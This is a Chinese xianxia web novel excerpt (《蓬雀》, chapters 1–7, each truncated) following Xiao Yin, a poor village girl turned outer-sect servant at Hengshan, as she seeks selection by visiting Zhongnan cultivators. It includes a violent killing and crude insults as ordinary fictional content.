《蓬雀》 1. 楔子 《蓬雀》全本免费阅读 “喂,明天你还要去吗?”一道刺耳的公鸭嗓忽然飞过来,萧隐没有吭声,只是接着割麦子。 夕阳染红了半边天,大部分人这时早已经回家休整了,毕竟明天的扶摇节可是泼天的大事,马虎不得,她也知道,可她却究竟还要把地里的活做完才行,要么明天她出去了,这活计就要她娘来做了。 镰刀在田里咯咯作响。 那少丁等了一会儿,不由啧了一声,“怎么不理人呢?” “唉,她啊往常你也不是不知道,那就是闷葫芦一个,”旁边另一个倒在牛车的稻草上吃饽饽的少丁含糊道:“你没事和她说什么话?” 啪的一声,那碰了一鼻子灰的捡起个石头子丢了过去,差点准头,竟然只是溅飞了萧隐脚边的一寸土,他叹了口气:“我这不是好奇吗?” “这娘们每次都去,还每次都选不上。今年扶摇节听说终南山也要招人了,她肯定更去不上,我就索性再问问她,看看她是不是还在那儿做脱胎换骨的美梦呢。” 吃馒头的闻声嗤笑:“她去不去关你什么事。” 那少丁想了下,也觉得在理,可他还是忍不住又看了看还埋头干活的萧隐。 “喂——”他双手拢作喇叭,忽然大声喊道:“你就别去了,好好陪陪你娘吧!!她那衰样,估计都活不过明天了!” 闻声,萧隐一顿,嚯一声她猛地起身从田里站了起来,只见他两个勾肩搭背哄笑作一团,发现她看,反而似乎更起劲了,顿时指着她又笑了半天才扭头赶车往家走。 徐徐轻风吹过山野,一时间麦浪翻卷不息。 山路上,牛车吱嘎吱嘎的摇摇晃晃,两个少丁还在嘻嘻哈哈,“你说她刚才那是什么表情?” “惊恐、愤怒,还是别的?刚才离得太远,太阳光又闪,我都没看清。” “有什么好看的?就她那张脸……”另一个撇嘴,看上去很不屑,但下一刻他好像想起来了什么,也跟着乐起来:“你没看清,那她刚才会不会直接就哭了啊?” “不可能吧?她娘做了那么多年药罐子,经常出了上气没下气的,活不过明天那也正常啊,她难道连这点预备都没有?而且她从来没怎么哭过,我听说她爹当年丢了她不管就是因为她出生时不哭……” “哪儿啊!”旁边的反驳,“那主要还是因为她就是个赔钱货,将来肯定还是别人家的人。她爹被她绝了后肯定不乐意!哭不哭的倒是次要的,如果是个带把的,就是个哑巴那铁定也能认。” “你还真别说,她……” 咣的一声巨响突然打断了他们那些闲言碎语,不过刹那间那俩少丁居然都被狠狠颠簸了一下,其中一个先反应过来跳下车,另一个飞快捡起鞭子抽了老黄牛两下:“个不中用的畜生!吃我喝我的,还敢颠老子?” 老黄牛哞了两声,似乎在反驳也似乎在叫屈,那少丁只觉火气更大,正想扬鞭接着打,只听跟前骤然丢过了另外一句骂,“哪个缺德鬼把那么大块石头都放这边了?” 闻声,那车上的也不禁暂时歇了鞭子,探头一看,他脸上也露出来惊奇:“还有棱有角的。” “废话!山上石头有哪个没棱没角的?你说话前就不能……” “能”字还没落下,一抹银光忽地从他们眼前一闪,下一刻那车上的只觉得脸上一热,他“唉呀”一声抬手抹了把脸,然而一低头,顷刻他就愣住了。 那手上的居然不是鸟屎,而是一片温热的猩红! 他愣愣地抬眼往稍远了的位置看去,一张脸还带着没来得及褪去的错愕和呆滞。嘀嗒滴嗒,有血顺着他的半张脸扑簌簌往下淌,而就在他跟前—— 刚才还和他说话的哥们,不知何时竟然已经倒伏在车头,就在旁边居然忽而凭空多了一把镰刀,镰刀头狠狠扎进了木板中,而镰刀把上是一只手。 瘦削、骨节分明,看上去很粗糙,拇指和虎口之间还缠着布条。 这个打扮很常见,但凡他们屯里到了割麦子的时候绝大部分人为了不磨手都会这么做,有绷带的用绷带,没绷带的,也基本上会扯缕布条绑了防磨。 只是这时那布条已经完全血淋淋一片,顺着握刀人的手掌噗噜噜往下淌。 血泊中,那尸体明显死之前很惊讶,面部一条条肌肉扭曲成意外的神情,眼珠像他当初在河泡子里捞着的鱼似的往外鼓,还没完全涣散的瞳孔里隐隐约约袒露出一张他们都熟悉的脸。 而他的嘴大张着,喉咙像破风箱似的“嗬嗬”地发出声响,嘴唇和声带似乎还在不甘心地抽搐, 2. 衡山 《蓬雀》全本免费阅读 “吴江女道士,头戴莲花巾。” “霓衣不湿雨,特异阳台云。” “足下远游履,凌波生素尘。” “寻仙向南岳,应见魏夫人。” 一阵清越的歌声从潺潺流水上飘来,竹筏上,渔女们迎着薄雾斜阳拨着桨从琉璃般澄净的江面上划过,一边彼此嬉笑,一边你一言我一语的唱道。 虽只有寥寥数语,但人物、身份、装束、动作、去向……无不惟妙惟肖,这一阵歌声穿过长空碧水,越过白鸟青山,确实是锦上添花。萧隐忽然想到。 “看什么呢?”一道声音忽地从身后飞来,她回头,只见一个扎着丸子头的少年正看着她。 这人名唤四喜,是她师妹,萧隐见了她,刚想回话,却看四喜也跟着凑过来站定了。 飘渺的歌声乘风悠悠地传了过来,萧隐想了下,到底没有立刻打破这段宁静。 四喜听了一会儿,皱眉:“什么‘阳台’‘夫人’的,唱的什么东西?” 萧隐:“是李白的《江上送女道士褚三清游南岳》。” 四喜瞪大了眼:“这么长的名!?讲什么的?” 萧隐点头应声,道:“她们所唱的这首歌其实原本是一首诗,讲的是吴江女道士,头上戴着莲花巾。霓虹裁剪成她的衣裳,遇到了雨还不湿,与神女真不一样。那女道士蹬着鞋去远游,犹如洛神,在水波上行走时步履溅起的水沫如同尘埃。等她到了南岳衡山寻仙,或许就可以见到赫赫有名的仙女魏夫人……” 四喜挠了下脸,随便点点头。 萧隐:“你刚才所问的那句‘阳台云’,指的应该是‘阳台女’,‘阳台女’意思就是‘神女’,而‘魏夫人’说的就是‘紫虚元君’。” “哦!”四喜猛地一拍手,恍然:“原来她是要过来见咱们祖师?” 萧隐沉吟:“不过可能还没见到,作者只是送别那女道士时写的这么一首诗。” 四喜兴奋:“那这个人啥时候来?我想看!我还没见过有人能在水面直接这么走呢!” 萧隐想了下,低声道:“可能有点难,或许她不会来了,因为这首诗是很久很久以前的,她也许已经见过了魏夫人,也兴许没有,这些我们都不得而知,所以只能从如今尚存的这么一首诗中略见一二了。” 闻声,那四喜直接愣了愣。萧隐:“怎么了?” 四喜看了看她,忽然叹了口气:“没什么,我就是没想到你在这儿站了半天原来就是在听歌。而且这么复杂的你都能听懂。” 萧隐笑了笑,没说话。 “你往常在屋子里闷着,是不是都偷摸读书认字去了?”走在路上,四喜突然问。 这里往常人迹罕至,石缝都生满了绿丛丛一片草,萧隐一脚深一脚浅的走着,听了这句话,她不由微微偏头看向了四喜:“是啊。” 她的声音很轻,也很和煦,卷着周围淡淡的草木清香,听上去就像一阵沁人的微风。 四喜听着,却只觉得还是心中不痛快,萧隐看出了她眉间那点愁绪,便问:“要么,今晚上,你来我屋里,我教你学诗?” “不了,”四喜顿时摇头仿佛拨浪鼓,“从早上起管事的师兄就没让我闲着,又是打水又是浇花择菜的,现在还加了个砍柴,我忙了一天,腰酸背痛啊,待会儿吃完饭了啥也不想做,只想倒头大睡。” 说完,她好像骤然想起来什么,扭头看向萧隐:“你不累吗?” 萧隐看了看肩头那垒起来六尺高的柴禾:“还好。” “奇了怪了。”四喜噘嘴嘟囔:“我每天晚上啥也不干,就光在床上躺着都觉得累,你和我修为差不多,在这里比我待得久,成天白日里也是比我干活还多,晚上居然还能有心思学东西……而且还是那些什么诗啊文啊的,我看了都眼晕……” 萧隐听着,没有反驳,也没有露出半分不悦,可四喜说着说着,却又渐渐没声了。 片刻后,她发觉四喜偷偷抬眼看了她一下,可只要她回望,她这小师妹就又把头别了过去。 萧隐:“嗯?” 四喜低着头背着柴禾,摇摇头,又摇摇头。 直到萧隐转头接着专心走路,她也什么也没说,可她心中却道:算了。算了。 以后还是不要再跟萧隐诉苦了。 因为萧隐和她不一样,那是个非常不幸的人。 王四喜尽管今年才十六岁,而萧隐看着也是和她年龄相仿,可她老早就听说了,萧隐是二十出头才进山门。 只是她俩现在都干着差不多的差事,这才常常碰面,时不时还能聊个天什么的,也因此,她有时候越想,越觉得萧隐真的很可怜—— 虽然她们所在的门派,听起来确实很辉煌,就像刚才那首歌里唱的,是南岳之中的衡山,距离终南山不算特别远,而且近几年发展来发展去,其实还跟终南山差不多从门派上合并了,从一个孤零零的门派变成了隶属于终南山的一个分派。总的来说还算背靠大树好乘凉,近些年也算找了不少新生进门,资质良莠不齐,其中差一些的就像她和萧隐一样,都被分到了外门打杂,但是和四喜这种双亲都是衡山打工人(外门学徒)还一出生就在衡山这个门派的不一样,萧隐是个纯粹的外乡人。 在和萧隐的聊天里,她了解到,萧隐是随母姓的,她爹具体姓什么不知道,反正当年据说在她刚出生的时候她爹就跑了。 当然,也有人说,那是因为她娘搞破鞋所以她爹发现不是自己的种就没负责,不过,更流行且自洽的说法其实是:她是个女的。 她出生在一个极其重丁轻女的犄角旮旯,那里不像衡山,不玩儿“丁女平等”这套,那里女人都不能上桌吃饭,生了孩子也不重点看有没有缺胳膊少腿,比起缺胳膊少腿这种只要抗住了就能勉强活的事,他们只认茶壶嘴,掀开被褥子一看,就凭她没把,她就没了爸。 然后多年来,她就是跟着她娘相依为命,小时候她不知道自己没爸,只以为自己是她娘一个人就生出来的,所以每次有人说她缺个血亲,她就觉得那是咒骂她娘,而她娘对她来说还是至亲之人,于是她每回听了谁说她娘的不是,那她就打,直到六岁她又把一个出言不逊的小丁孩抓住胖揍了一顿,丁孩惨叫着骂她没爹,说她只有娘,她这才知道,原来那个“爹”指的是另一个人。 说到这儿,当时萧隐没绷住,自己还笑了一下 3. 本性 《蓬雀》全本免费阅读 天地有九州、八荒、四海,其中只有一处名为终南,别称太乙山、周南山,山中云雾缭绕、醴泉迸流,传说,玄门就在那里发源,四喜听说,那里旮旮旯旯都多的是灵芝人参,还有无数大能在那儿隐居。 随便挑一个出来甩甩袖子打个喷嚏,都能将整个天下搅出腥风血雨——那一直都是整个修真界最为气派的门派。 因此,就连从前风光过的衡山,这几年也都选择了和终南山靠拢。 近年来,四喜也没少听别人在茶余饭后吹嘘说“我家亲戚就在终南修仙”,可不论如何她都从没想过自己身边竟然有朝一日能有这么个人敢说:“我想去终南修仙。” 尽管再三告诫自己,萧隐这种人地狱开局,能挣扎着活这么久,已经很不幸很可怜了,有些话要么还是忍住别说,免得让她本就坎坷的生活少一分指望,可四喜忍了又忍,看着萧隐那张认认真真的脸,她到底也还是忍不住问道:“你是怎么想的啊?” 像终南山那种地方明摆着就是可遇不可求的,即便现在,衡山成了终南的边角料之一,那这彼此间其实也可以说都是跟人家终南那边差了十万八千里,何况当初的萧隐。 一个普通农女,连个衡山外门都没进,她居然就敢想着一举进终南? 做什么春秋大梦呢这是? 萧隐似乎也从没想过“去终南修仙”这个事有多不切实际,一时间冷不丁听了这么一句问话直接被她问愣了。 见状,四喜摇头叹息:“不好意思啊,我没想打击你,可你当初……” “还没‘上桌’呢,怎么就想着‘宴客’了?”萧隐接话道。 闻声,四喜竟莫名有些说不出话了,她看着萧隐,而萧隐低头一边走,一边看着自己脚下的路,忽然,也不知究竟想到了什么,她轻轻笑了:“也许是‘本性难移’吧。” “从前我还不是衡山外门学徒,只是一个山野村姑。当时我身边的所有人几乎都劝我,‘你就是个麻雀,飞上枝头变凤凰这种好事轮不到你’,可我还是想要试一试,然后我就每年都去参加扶摇节。时间长了,有人对我指指点点,笑话我痴心妄想,可我还是去,因为我去的话,无非就是两个结果:选上,或者没选上。而我要是不去,那么我就只能面临‘落选’的结果了,所以,尽管当时我即便去了也是次次落选,可我还是次次去;” “后来,还有人知道我在偷学诗文,和我说,‘女人读书写字根本也没什么用,你又不是什么千金小姐,学了这个也钓不到金龟婿,而且就是学了到头来也还是相夫教子——这就是你的命’,可我没听,就是这么学啊学,白天干活,晚上学,有时候累得眼睛都睁不开甚至还因为劳动过度身体透支就生了一身病,可我还是打水洗脸然后接着学,烧没了油灯,就去借月光,实在不行就去村头那条河旁边捧着书学,那里有水、有月光、有粼粼的波光,比我家里勉强亮堂一点儿,可是很冷。很多次我都在河边冻得瑟瑟发抖,不止一次心生退意,可我又想,退步只有一次和一万次,我今天退了这一步,明天就会因为别的事再退一步,毕竟难关太多,想萌生退意太简单了,可我退出了,我生活还有多少可能会得到改变?如果我真的想退出,又何必让自己吃了这么多苦,我为什么要吃这些苦?因为我觉得宁可吃这些苦我也要赌一把:总有一天,我可能会改‘命’……” “再后来,我等到了。”萧隐看着她,道:“虽然没能去上终南,但至少现在我成了衡山的学生,尽管连内门我也没进去,可我至少也不再活在那个犄角旮旯了。” 四喜从她瞳孔中看到了自己那张错愕的脸,萧隐继续道:“我知道,这次成功固然有运气在,可如果,我是说,如果。如果我当时真的听了那些人说的,‘放弃’了呢?如果我趁早放弃了学诗文,趁早放弃了作诗,而且如果我那天真的没去那次的扶摇节呢?那么今天的这个成为衡山外门学徒的‘运气’又哪里就会临到我的头上?” 说着,她别过头笑了笑,“如果我真的‘放弃’了,那么我娘可能也不会因为我就在现在终于多了套房子,更不会收到我现在寄给她的东西了。现在你也不会见到我,我可能还是会在地里顶着大太阳干活,然后出不了山,更过不来衡山,我们彼此间永远也不大可能见面了。” 四喜听完了,当时沉默了许久许久,她开始认识到萧隐和她的不同,可这点不同在长年累月 4. 招工 《蓬雀》全本免费阅读 “想!”萧隐不假思索道。 说完,她似乎才反应过来自己刚才听到了什么,四喜没有错过她怔忡的神情,“那你明天赶紧去紫府门那边试试运气吧。” 萧隐:“什么?” 四喜:“今天我在花房浇花的时候听管事和别人闲聊说,这两天好像一个什么大事就要开始了,终南山似乎要来衡山挑几个干活麻利的做临时工,干的不知道什么活,也不知道究竟咱们外门的能不能去,可你要是还想去终南,那就得准备准备了。” 萧隐闻声怔了一下,“那你不去吗?” 衡山这头每个岗位每次都配两个人值班来算,而她和四喜恰恰就是同一个工种的,还都是在一起值班,但凡缺了一个,另一个就要补上。如果明天她离岗了,那么就要四喜守岗,而且四喜肯定还需要一个人做两份活,虽说月底有补偿金,但吃苦受罪也是不含糊,往常,四喜就经常自称干活简直累得生无可恋,明天…… “明天我在这儿就行。”四喜立刻道:“反正前些天我生病那阵子你也是一个人做了两份工,这次换我也没什么。你先去。” 说到这儿,四喜回想了下:“可我那时候着急干活,也没套出来到底终南山的啥时候过来,啥时候开始挑人,总之明天你先去等着吧,只要赶早不赶晚去了紫府门应该就行。” 萧隐点头,“多谢。”然后便快步上前要把柴禾卸下来劈柈子去了,她身手迅捷,健步如飞,哗啦一声竟然只眨眼间那六尺多高的柴堆就都摔到了地上去,萧隐活动了两下肩膀,又走了两步就提手一下子从木墩子上薅了斧头下来。 虽然知道她一直精力充沛还力气大,但每次一看她这样,四喜还是禁不住目定口呆。 砰的一声,一根柈子咵一下对半分开,木屑飞溅,萧隐却目不转睛操着斧头又对准了新一根柈子。 但这次她却临了扭了个头,“怎么了?” 鲜红的夕阳从天空泼下来一滩光,从她竖撅撅的发梢一路流淌到了她的半边头发、一点耳朵边和鼻子尖,萧隐的眼睛并没有直接暴露在光亮里,而是隐没在了黑暗中。 可那炯炯有神的眼眸只是望过来,四喜就生出了一种紧张感,当然,这可能也和萧隐锋利英气的眉眼有关——而且在她认真时,她一般是不笑的,那样子看上去实在是有些凶(厉害)。 只一个眼神就让四喜本来到了嘴边的话居然又咽了一阵才吐出来:“今晚你可别睡太晚,别带俩熊猫眼过去啊。” 萧隐用力点头:“嗯!” “早上起来你也别急着走,先多捯饬捯饬自己,尤其是头发,别这么乱糟糟的就过去了——”四喜压低了声音,“听说终南那帮人可难伺候了,你要去竞选那边的临时工千万多留心点。” 萧隐点头如啄米,并没有直接回话,可四喜发现了她眼睛里亮闪闪的,那是一种兴冲冲的期盼,也是一种气昂昂的斗志。 四喜莫名静默了一会儿。 她看着萧隐帮她把柴从她身上卸了下来,忽然问道:“你要是走了还会回来吗?” 萧隐抬头:“嗯???” 四喜重复:“你走了还会回来看我吗?” 萧隐想了想:“其实,以我的运气,明天并不一定就会被相中,可如果说我真的中了那么就会去终南了,往后你我可能聚少离多。” 四喜听着,虽然意料之中,但是还是不由叹了口气。 萧隐:“不过我肯定还会回来的。” 四喜愣了下,抬头:“回来收拾行李再走?还是回来看我?” 萧隐看了她一阵,忽然笑了:“我没什么行李好收拾的,屋子里除了家书就是几本书,随便打个包袱卷儿就都能带走了,不需要特意回来一趟。” 四喜试探:“那你要是还能回来就是为了看我喽?” 萧隐应声:“可以这么说吧。不过,到时候我应该是专门回来接你的。” 四喜:“……” 四喜:“啥!!??” 她一下子蹦了起来,倒退三步,然后几乎难以置信地掏了掏耳朵,萧隐放下了斧头,上前轻轻捏了捏四喜的肩,“等我进了终南,我会专门回来接你的。”她的声音很低,每个字的咬字也不重,可每一个字偏偏都猛地锤进了四喜的心,她瞪大了眼睛直勾勾地盯着萧隐,感觉浑身有些发冷,可下一刻她认识到了,那不是冷,而是亢奋。 萧隐也在望着她:“如果这次事成,那么你就无疑是有恩 5. 跳槽 《蓬雀》全本免费阅读 四喜早上起来洗漱时,忽然从窗边的桌子上找到了一封信。 信是萧隐写的,不算长,只说了当四喜看到这封信的时候,说明她拾掇完了东西已经动身去紫府门了,要是中选估计就会有别人来知会四喜一声,很可能她得过阵子才好回来,要是落选,一天内以她的脚程也可能赶不回来,多谢四喜照应她,最后萧隐又说,她自己屋头的床柜右边有个暗格,钥匙在房门左边笤帚后的小洞里,打开了那暗格紧里头有只布包,包里装了几块碎银,是她专程给四喜留的体己钱。 “这个话都往外说,”四喜皱了下眉,小声嘟囔道:“就不怕以后出事吗?” 她们在衡山外门,听起来风光,其实做的也就是杂役,寻常也学不到什么功法,吃穿用度也就比一般贫苦人家好一些而已,屋子虽然不是大通铺,但是最多也就是配置了一副烛台、一张桌子、两把椅子和一方木头床,而且每个人屋子里都差不多,暗格这种相对复杂的东西肯定是没有的,所以这只能是萧隐后来自己做出来的。四喜尽管自己从没有做过暗格,可她也知道,这暗格里头装的八成是些贵重物品,寻常人专门设个暗格就是为了防窃,是不会随便跟别人说的,毕竟这暗格都是给人用的,难用就没必要费心捯饬了,所以这玩意虽然可能比较隐蔽但是肯定也不难打开,而萧隐为了不失窃就专门配了把锁以防万一。 可这钥匙只要找到了,不论是谁就都能开那处暗格,而现在萧隐竟然把这事儿告诉了她——这是可以说的吗?也得亏是她,四喜心想,要是换个人知道了,恐怕萧隐就得挨偷了。 与此同时,紫府门,人头攒动。 萧隐冷不丁见状几乎下意识捏紧了手。 紫府门是衡山面对着八方四海的大门,往常虽然也有人来人往,但普遍没有人会在这里多逗留,而这时虽然天色大亮了,但是也并非什么休假,居然直接挤了这么多人过来……而且很多都是生脸孔,一个个从穿着打扮看上去都像衡山内门的学生,即便没有穿绫罗绸缎,也绝不会像她一般一身布衣。萧隐蹙了蹙眉,看来她还是得使劲往上爬,不然消息要想流通起来实在是太慢了,何况也不知道终南山的究竟要做什么——到底要不要她这种外门的学生做临时工。只是不论要或不要,看这架势,恐怕都会竞争得只会热火朝天。想着,她不由下意识掸了掸衣服:四喜昨天可是跟她说了,终南山那帮不一定好对付,她也得多注意注意形象。 就算穿得不怎么名贵,最起码也得干净整洁一点。 “萧隐?你来这里做什么?”一个尖锐的破铜锣嗓子突然在她耳边敲了起来。 萧隐转头,果然看见了一张尖嘴猴腮的脸。 那丁的长得虽然瘦高瘦高,看着扎眼,但是同样是一众人里穿得比较寒酸的,这时对着萧隐,他那一对四白眼正滴溜溜地转—— 恰恰就是她们外门的管事。 萧隐却只是扫了他一眼,就扭了头。 破铜锣嗓子见状,脸都绿了。 刚才他那一嗷吼其实立刻就有人往这边看,萧隐却直接忽视了他,这无疑是众目睽睽之下驳了他的颜面,顿时,他火冒三丈大声道:“我问你话呢!你作为一个外门的,这时候来凑什么热闹?活儿都做完了吗!?” 萧隐冷笑一声,并不理睬,破铜锣嗓子眼看着第二次吃瘪,终于按捺不住上前就要伸手抓她肩膀,可临到头,不知为何,他竟然又讪讪收回了手,转而开始跺脚:“你你你你!玩忽职守!还敢藐视上级——” “什么上级?”萧隐左右看了看,道:“谁是我上级,你吗?” 一听她回话,破铜锣嗓子立刻挺起胸脯:“呵,你还知道我是你上级?” “不知道。”萧隐看出他想要挽回场子,干脆转头盯了他一会儿,然后才佯装恍然:“哦——原来你就是管事那个?那我确实是不知道。” “你往常成天要么在屋子里猫着,要么就 6. 竞聘 《蓬雀》全本免费阅读 她的声音不大不小,刚刚好够让旁观的那帮都听得一清二楚,几乎话音刚落,那丁的就即刻涨红了脸,他龇牙咧嘴地上前猛地提手似乎要给萧隐一耳光,可只被她冷冷一瞟:“嗯?”一下子他就跟扎漏了的酒囊饭袋没什么两样,浑身都散发出一股黏腻又颓丧的感觉。 萧隐没稀罕多看他,而他吃瘪了之后还没忘了最后狞笑道:“就凭你?” “你之前参选那么多次就连衡山都是捡漏才进来的,这次终南山过来招人,你就又开始做什么春秋大梦了?”他故意扬声说道:“实话告诉你!这回终南山的过来,可不是什么闹着玩儿的,你这种充其量只会洗衣煮饭的就算再麻利,人家要挑,也是先从内门选,你就算捡漏也不一定回回都能挤得进去,你就等着吧!” “选不上也好啊,”萧隐悠悠地道:“选上了是我赚了,选不上,我回去,照样气得你直跳脚,保不定哪天你就咯嘣一声气死了,到时候管事归我。” “你!”破铜锣嗓子闻声立刻大怒。 萧隐转头:“啊,对了,‘我’——” “再不济,我也是实打实的凭借自己才进了衡山的,你这成天求奶奶告姥姥的,好不容易才终于登上了衡山来,也就是做个杂役的头头,可今朝是你,明天,还果真又是你么?” 她嘴唇卷成一个半笑不笑的弧度:“你这副德行,你爹为了给你托关系肯定花了不少门道,朖子都得给骟了换钱了吧?你要是有孝心就别成天在这儿又是‘你’又是‘我’的,有那心思还是琢磨下怎么给你爹攒副棺材本吧,不然就凭你?” 她盯着那张红了又绿,绿了又红的吊脸,没有再说下去,可是也完全不用再说下去了。那破铜锣嗓子这时已经完全慌了手脚,他从没想过萧隐居然在大庭广众下讲得这么难听,而且他也从没遇到过这种事——在那之前虽然他总骂“女的只要升职,肯定就是卖春了!”,但是他从没想到居然有女的有朝一日能把他反将一军,甚至那句“朖子都骟了换钱”不止讥诮了他和他爹,更是一口气骂了在场所有长畸疤的人,一句话下来,顿时几个别的丁的也有些不乐意,可是刚才萧隐什么态度,他们也都看得真真亮亮,见那破铜锣嗓子碰了钉子,一帮人自然也不想自己接着碰一脑袋包。 而那破铜锣嗓子这会儿才缓过劲来,他指着萧隐,浑身颤抖,脸色还青一块紫一块又红了一块的,好半天他才终于憋出来一句:“你!你信口胡诌——我爹他——” “好了,别吵了!”旁边有人打断:“等会儿来人一看,像什么样子!” 萧隐摊手:“我都说了和他不熟,他硬要上赶着过来捡骂,真的奇了怪了。” 破铜锣嗓子本来被人拉开了,听到这儿,他只觉得七窍生烟、眼冒金星,可还不等他多说,忽然就有人狠狠拽住了他:“别说了!来人了!” 他只能甩开拉他的人的手,狠狠地瞪了萧隐一眼。 萧隐并没有施舍给他任何目光,而是目不错珠地抬头盯着前边的天空。 紫府门既是衡山的大门,又是衡山的正门,名为“紫府”,这名有两种说法,一种为外在的仙人居住的宫殿、境界,第二种指人身一小宇宙为内在修仙之道的窍门,现在也没谁能说得清这衡山到底取的是哪个意思,众人只知道,这衡山是个修仙的地方,进了这个门,就从此跟凡尘中那些人相比多了个头衔,可萧隐知道,这些都是浮名,像她这种做外门学徒的,每天做的也就是杂活,学不到什么真东西,偶尔有几粒丹药发下来,还是辟谷的,毕竟有时候她们忙起来确实也容易挤不出多少时间来吃饭休整,这时辟谷丹就有了点儿用。可只是这点儿蝇头小利,根本还不够塞牙缝的,至少她绝不会满足于此。 想当年,她之所以那么执着地参加扶摇节,就是因为她不甘心自己这辈子只能做个凡人——这世上既然有人能移山倒海、延年益寿、功成名就,那为什么就不能是她呢? 什么出身、禀赋、家世背景……这些难道能困住她一辈子吗? 她不信! 即便这些她现在都没有,也好歹还有条命在,只要她还有一口气,萧隐想,那她就还有一分机会能给自己挣出一副好门第。 所以,这次她注定也不会放手,就算那么多人都在和她竞聘,那又如何?萧隐捏紧了手,紧盯着半空中那道紫光。她一定要搏一把! 宁可暂时落败,也绝不能不战而败! 而不过转眼,那紫光就已经接近了众人,一声声惊呼从旁边传来,萧隐没有吭声,她只是看着那空中盘旋的神兽和神兽上风光无限的那些人。 那些人有老有少,有女有丁,年纪最大的看上去五十多岁,最小的,看着才十四五岁,是个女孩,双瞳剪水,穿着身火红劲装,手腕上缠着几道金环,整个人瞧着很灵动,而她膝盖下那只神兽龙纹龟身、燕颌鸡喙,延颈、奋翼、五彩备举,萧隐认得,这是丹鸟,灵力属火,据说有不死之身,名贵异常。今天之前她一向只能在高价买来的不知道第几手货的残本上见过这些描述,而那少年似乎也是对她们这边很好奇,这时正瞪圆了眼睛扒着那丹鸟的脖颈,抻着头往下看。 “师妹小心。”一道温润如玉的声音忽然从旁边传来,少年闻声点了点头:“师兄放心啦,我就是看看而已。” 那被唤作“师兄”的是个丁的,看着二十岁左右,一身白,只用了一根紫色头须(发带)束发,细眉凤目,脸模子长得俊秀非常,这时正含笑看着那少年,似乎想要再嘱咐些什么,但还不等他再说什么,一个瓮声瓮气的声音就道:“正卿,管好你师妹。” 魏正卿闻声,立刻抱拳颔首:“是。” 那少年听了却顿时就撇了撇嘴,“我都这么大了哪里还需要人管嘛?” 她的声音不大,几乎可以算小声嘟囔了,可在场的都是修仙的,这点动静对于大家来说简直可以说听得明明白白,却没有任何人因此就责备了她。毕竟她是伶舟絮。 “这里离地百尺,师妹又甚少出门,师叔自然也是不免多关怀你一些。”魏正卿宽慰道。 伶舟絮皱着脸:“知道了知道了!”说完,她头一扭,似乎不愿意接着和他说话了,见状,魏正卿不由失笑,而没一会儿伶舟絮就又抻着脖子往下看去了。 “底下有何风景?”老头轻轻摇了下拂尘,闭目发问。 “人!好多好多人!”魏正卿刚想答话,却听一道清脆的声音忽然抢先一步:“ 7. 眼缘 《蓬雀》全本免费阅读 “什么!?不行!”破铜锣嗓子突然嚷开了。那声音又吵又闹,伶舟絮直接拧眉看了过来,见那是个瘦高的丁的,她顿时脸色更沉了下去:“怎么?本姑娘做事,你有意见?” 说着忽然间灵光一闪,下一刻,只听唰的一声,那破铜锣嗓子立刻就瞪大了眼,他惊恐地瞪着跟前,就在他三步外一条深沟居然瞬间就割裂了地面。 一群人倒抽凉气,只有萧隐还面不改色,她神情中甚至有些了然。 从那少年骑着丹鸟一登场,她就知道这人的身份不一般,毕竟那灵兽从来难遇更难求,她却能拿了当交通工具来差遣,从这点就可见她肯定家大业大,而她身上的衣料看上去并没有什么花纹也不像绫罗绸缎,可那衣衫在光亮下闪着细碎的光,光晕七彩,颇像传说中的“裁霓作衣”,因此乍一看这人手腕上盘错的金环,她就感觉那东西肯定也不似凡品,极有可能是个法宝。等到少年落地和那两个丁的掰扯,那字里行间所透露的信息也让萧隐更为确信她判断不差——她确实是身份不凡。而刚才一刹那她还发现只金光一闪那少年手腕间就空空如也了,紧跟着就是这样的轩然大波——果然,她料想得也是分毫不差,那金环就是个法宝。像这样养尊处优的人,往常习惯了被别人以礼相待,想必更容不得别人冒犯,因此,虽然冷不防被点名(“刺猬头”)让她略微一怔,但破铜锣嗓子引出来的这个“突发情况”也只是进一步验证了她原有的推断而已,没什么值得她大吃一惊。可那破铜锣嗓子和别的学生却都对此始料未及,冷不丁看着那条深沟,绝大部分人都有些心惊胆战。而萧隐更留心的却已经换成了那少年手中的东西。 那是条鞭子,通体金光闪闪,由鞭把、鞭头和中间八节组成,节间用三个圆环连接,中间的环一边配有一个环,萧隐之前忙里偷闲买书温书时听说过,这环称为响环。而这少年所拿的,是九节鞭,鞭子衔接处那五个环形还成了梅花形。鞭头后边拴有一块红色的彩绸,鞭把后边拴有一块白色的彩绸,萧隐猜,这两个绸子大抵跟舞动时调节路径有关,顺便还让这九节鞭多了几丝观赏性。 可别人见识到了这鞭子的威力,对此更多是恐惧,不说别的,单是那一下,就几乎把那破铜锣嗓子吓破了胆,他直瞪瞪看了那深沟片刻突然浑身一软一下子摔在了地上。 魏正卿立刻上前搀扶,而那老头也是转头呵斥了伶舟絮一句:“不得无礼!” 伶舟絮冷哼一声,手腕一翻顿时那鞭子又化为一道灵光绕回她腕间重做了金钏。 “今日是专程为你来办事,又是在你师兄的故地……”老头开始啰里啰嗦起来,伶舟絮也不惯着他,一听他开始吊吊赖赖,她顿时就捂住了耳朵摇头晃脑大声道:“不听不听!” 老头两条眉毛立刻拧巴得好像虫子,恰恰这时魏正卿已经安顿好了那破铜锣嗓子,只听他说道:“师妹方才所说要选的,是这个人吗?” 他走过来伸手引着她去看别处,伶舟絮这才放下了手不再捂耳朵。 顺着魏正卿的手看到了那熟悉的刺猬头,伶舟絮眼前一亮,立时点头:“对!就是这个!这刺猬头可有意思了,刚才我还在上边的时候就看我!”她拉着魏正卿的袖子,指着萧隐:“我觉得我俩可能有的聊呢!” 闻声,魏正卿也看了看萧隐:“那……” “胡闹!!”老头低声喝道,“此事岂能儿戏?”说着,他揪着脸看向了魏正卿:“絮儿年纪尚小,不知轻重,怎么你也随她胡闹?” 魏正卿闻声立刻低头作揖:“晚生知错,还请师叔保重身体,息怒停瞋。” “刚才的都不作数!”老头瞪了萧隐一眼,又看向魏正卿:“你来重选!” 魏正卿迟疑:“这……” “怎么?我的话你也不听了?”老头怒目而视。 魏正卿顿时弓腰更深:“晚生……” “听又如何,不听又如何?”伶舟絮忽然出言,众人闻声即刻都不约而同看向了她。她却好像不以为然,大步流星走向了萧隐:“既然这事儿都说了是专程为我操办的,那凭什么别人越俎代庖?” 闻声,那老头眼皮一跳,似乎还想发怒,魏正卿忙起身要好言相劝,却见她一不做二不休忽地胳膊一伸直接撑在了萧隐肩头:“这刺猬头合我眼缘,我就选她。” < 8. 风波 《蓬雀》全本免费阅读 